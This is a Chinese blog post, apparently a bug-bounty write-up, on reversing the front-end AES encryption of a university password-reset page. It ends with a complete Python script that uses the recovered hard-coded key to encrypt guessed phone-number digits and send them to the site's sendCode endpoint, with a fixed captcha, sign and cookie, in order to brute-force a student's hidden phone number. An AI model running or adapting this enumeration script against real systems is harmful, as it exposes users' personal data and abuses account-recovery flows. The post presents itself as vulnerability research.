对于某前端数据加密方式的逆向过程

2025-02-18 8 0

一、起因

在某个无聊风和日丽的下午,为了消磨时间打算挖一下edusrc,在重置密码的页面发现请求数据进行了加密,于是决定逆向看看......

重置密码页面拿到一个学号之后点下一步就能看到输入手机号页面,而且还会出现提示信息

对于某前端数据加密方式的逆向过程插图

随便补全一下手机号,发送验证码,bp抓包

对于某前端数据加密方式的逆向过程插图1

显然cellphone就是我们输入的手机号,但是被加密了。

我的思路:拿到加密算法->python进行手机号爆破->后续挖掘

二、分析调试

这个加密格式乍一看像base64,试着解密

对于某前端数据加密方式的逆向过程插图2

果然没这么简单.

在浏览器控制台查看js源码

在retrievePassword/encrypt.js中似乎找到了关键的地方

对于某前端数据加密方式的逆向过程插图3

使用的Aes加密算法,在这三个方法中随便选一个地方进行断点,发送验证码

对于某前端数据加密方式的逆向过程插图4

断点成功了,接着就是分析整个加密过程

对于某前端数据加密方式的逆向过程插图5

getAesString()方法是在encryptAES()中被调用的,有三个参数data, key0, iv0。

接着在encryptAES()方法中看一下这三个参数是怎么构成的,判断asskey存在后调用getAesString(),其中data:调用randomString()方法生成一个64位的随机字符串拼接encryptAES方法的data参数,先找一下randomString(),把这个方法记录下来

对于某前端数据加密方式的逆向过程插图6

encryptAES方法的data就是请求数据的手机号

对于某前端数据加密方式的逆向过程插图7

key0:就是aesKey,试了几次都是同一个值,把这个值记录下来

iv0:randomString()方法生成一个16位的随机字符串

继续断点调试,下一步

对于某前端数据加密方式的逆向过程插图8

最终在encryptAES中看到了输出

对于某前端数据加密方式的逆向过程插图9

对比请求数据的cellphone,可以确定就是这个

对于某前端数据加密方式的逆向过程插图10

到这整个加密过程已经梳理完了,整理一下调用过程:encryptAES()->getAesString()->randomString()->encrypted

三、加密方式转python

对于某前端数据加密方式的逆向过程插图11

随机的字符串我这里直接写死了,接受一个seq参数作为手机号中间的四位

测试效果

对于某前端数据加密方式的逆向过程插图12

测试发现同一组参数请求5次后会报错,可能还需要动态调整其他参数

对于某前端数据加密方式的逆向过程插图13

对于某前端数据加密方式的逆向过程插图14

四、完整代码

from base64 import b64encode

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad

import urllib3

urllib3.disable_warnings()

import requests

import time

def get_aes_string(seq):

str64 = "pSKzskzbmmrsbrWBeCNShHWPFS8kpwfn3NJenwcRp34wzmBm4RY8JmN3xcAC7Bnm"

str16 = "3RGekMFSj4zbyAKY".encode('utf-8')

key = 'rjBFAaHsNkKAhpoi'.encode('utf-8')

data_with_random = f"{str64}86-138{seq}2909"

cipher = AES.new(key, AES.MODE_CBC, str16)

encrypted_data = cipher.encrypt(pad(data_with_random.encode('utf-8'), AES.block_size))

return b64encode(encrypted_data).decode('utf-8')

def generate_sequence(start=0, end=5):

for i in range(start, end + 1):

  yield f"{i:04d}"

headers = {

'authority': 'xxx.xxx.xxx.xxx',

'accept': 'application/json',

'content-type': 'application/json',

'cookie': 'route=7e11b4209903de33fa3ab7eeb3991bd8;',

'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36',

}

json_data = {

'accountId': '',

'loginNo': 'xxxxxxxx',

'cellphone': 'nEkxfRs7P+DypsWh3aW+xjLYUrIovLucu9f6OiX764K+z6WlAj5EJdqBn560HLct/NuqpOYrErikzG/TNWb6tZW2SQW2O87NUh6l1YjAoVE=',

'email': '',

'hideCellphone': '138****2909',

'hideEmail': '',

'captchaId': '4861601744408988',

'captcha': 'goct',

'code': '',

'type': 'cellphone',

'password': '',

'confirmPassword': '',

'sign': 'ff07582f37e94776adf3224dcd517c5f',

'appealSign': '7f6ff627358b40e79aa21c2ea8da36d8',

'isAppealFlag': '0',

}

for num_str in generate_sequence():

print(num_str)

cellphone = get_aes_string(num_str)

json_data['cellphone'] = cellphone

time.sleep(5)

response = requests.post(

  'https://xxx.xxx.xxx.xxx/sendCode',

  headers=headers,

  json=json_data,

  verify=False,

)

print(response.text)

五、总结

1.整体过程并不复杂,有点耐心都可以搞定

2.至于转python部分,其实完全可以让AI完成

3.关于请求5次报错的问题,后续如果找到解决办法再补充

4.挖个洞是真费劲


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

新型Go语言后门利用Telegram Bot API进行隐蔽命令控制
反射DLL注入技术深度解析与实战
恶意代码分析(一):从入门到精通
[Meachines] [Easy] Codify Express-Nodejs-Vm2-Bypass-RCE+SH == * Bypass权限提升
网络犯罪分子利用图片标签中的Onerror事件窃取支付信息
10大SOC挑战及AI的应对之道

发布评论